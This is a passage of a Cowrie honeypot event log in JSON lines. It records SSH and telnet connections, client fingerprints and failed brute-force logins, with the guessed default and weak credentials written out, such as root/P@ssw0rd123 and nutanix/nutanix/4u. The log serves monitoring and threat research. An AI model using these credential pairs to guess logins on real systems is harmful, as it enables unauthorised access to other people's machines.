{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:29.761701Z","src_ip":"176.65.132.129","session":"018e8332fc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:30.010619Z","src_ip":"176.65.132.129","session":"018e8332fc6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:31.107839Z","src_ip":"176.65.132.129","session":"018e8332fc6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53398,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d54be16e497","protocol":"telnet","message":"New connection: 38.54.119.93:53398 (10.17.0.5:23) [session: 5d54be16e497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:31.311718Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37394,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c7a6ea5524","protocol":"ssh","message":"New connection: 176.65.132.129:37394 (10.17.0.5:22) [session: 66c7a6ea5524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:33.082263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:33.165753Z","src_ip":"176.65.132.129","session":"66c7a6ea5524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:33.169729Z","src_ip":"176.65.132.129","session":"66c7a6ea5524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:33.619992Z","src_ip":"176.65.132.129","session":"66c7a6ea5524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.620659589767456,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:33.871224Z","src_ip":"64.227.82.147","session":"508db115b0d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:34.704664Z","src_ip":"176.65.132.129","session":"66c7a6ea5524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.45386981964111,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:35.347142Z","src_ip":"38.54.119.93","session":"d7538d6e0881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56384,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ad6619b5e80","protocol":"ssh","message":"New connection: 176.65.132.129:56384 (10.17.0.5:22) [session: 9ad6619b5e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:36.382143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:36.387646Z","src_ip":"176.65.132.129","session":"9ad6619b5e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:36.470343Z","src_ip":"176.65.132.129","session":"9ad6619b5e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.96299386024475,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:36.640741Z","src_ip":"38.60.198.128","session":"c2648290082a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:36.717463Z","src_ip":"176.65.132.129","session":"9ad6619b5e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:37.806846Z","src_ip":"176.65.132.129","session":"9ad6619b5e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44560,"dst_ip":"159.203.135.109","dst_port":23,"session":"00729321c50b","protocol":"telnet","message":"New connection: 38.60.198.128:44560 (159.203.135.109:23) [session: 00729321c50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:39.185882Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56388,"dst_ip":"10.17.0.5","dst_port":22,"session":"d514fc1fdfe1","protocol":"ssh","message":"New connection: 176.65.132.129:56388 (10.17.0.5:22) [session: d514fc1fdfe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:39.656557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:39.732910Z","src_ip":"176.65.132.129","session":"d514fc1fdfe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:39.898845Z","src_ip":"176.65.132.129","session":"d514fc1fdfe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:40.170847Z","src_ip":"176.65.132.129","session":"d514fc1fdfe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45512,"dst_ip":"159.203.135.109","dst_port":23,"session":"3181f238a9e4","protocol":"telnet","message":"New connection: 38.60.198.128:45512 (159.203.135.109:23) [session: 3181f238a9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:41.139044Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:41.254432Z","src_ip":"176.65.132.129","session":"d514fc1fdfe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.341997385025024,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:41.937905Z","src_ip":"45.81.23.16","session":"11c1ac2f9c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56398,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b0de5251d82","protocol":"ssh","message":"New connection: 176.65.132.129:56398 (10.17.0.5:22) [session: 0b0de5251d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:43.152667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:43.162969Z","src_ip":"176.65.132.129","session":"0b0de5251d82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:43.245140Z","src_ip":"176.65.132.129","session":"0b0de5251d82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:43.489536Z","src_ip":"176.65.132.129","session":"0b0de5251d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:44.574374Z","src_ip":"176.65.132.129","session":"0b0de5251d82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.7856810092926,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:45.038764Z","src_ip":"192.211.53.160","session":"6d46a0038b22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59014,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cade35ae44f","protocol":"ssh","message":"New connection: 176.65.132.129:59014 (10.17.0.5:22) [session: 2cade35ae44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:46.494237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:46.499593Z","src_ip":"176.65.132.129","session":"2cade35ae44f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:46.582020Z","src_ip":"176.65.132.129","session":"2cade35ae44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:47.010215Z","src_ip":"176.65.132.129","session":"2cade35ae44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:48.097765Z","src_ip":"176.65.132.129","session":"2cade35ae44f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":49962,"dst_ip":"159.203.135.109","dst_port":23,"session":"b211129730f6","protocol":"telnet","message":"New connection: 192.211.53.160:49962 (159.203.135.109:23) [session: b211129730f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:48.563645Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59028,"dst_ip":"10.17.0.5","dst_port":22,"session":"db3d391178f6","protocol":"ssh","message":"New connection: 176.65.132.129:59028 (10.17.0.5:22) [session: db3d391178f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:49.997580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:50.003425Z","src_ip":"176.65.132.129","session":"db3d391178f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:50.085791Z","src_ip":"176.65.132.129","session":"db3d391178f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:50.330178Z","src_ip":"176.65.132.129","session":"db3d391178f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:51.442389Z","src_ip":"176.65.132.129","session":"db3d391178f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.85579776763916,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:51.521957Z","src_ip":"45.81.23.16","session":"f33f1238cab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35268,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbdd5cb31a8d","protocol":"telnet","message":"New connection: 45.81.23.16:35268 (10.17.0.5:23) [session: fbdd5cb31a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:51.965691Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59042,"dst_ip":"10.17.0.5","dst_port":22,"session":"4905de80e68d","protocol":"ssh","message":"New connection: 176.65.132.129:59042 (10.17.0.5:22) [session: 4905de80e68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:53.351029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:53.362249Z","src_ip":"176.65.132.129","session":"4905de80e68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-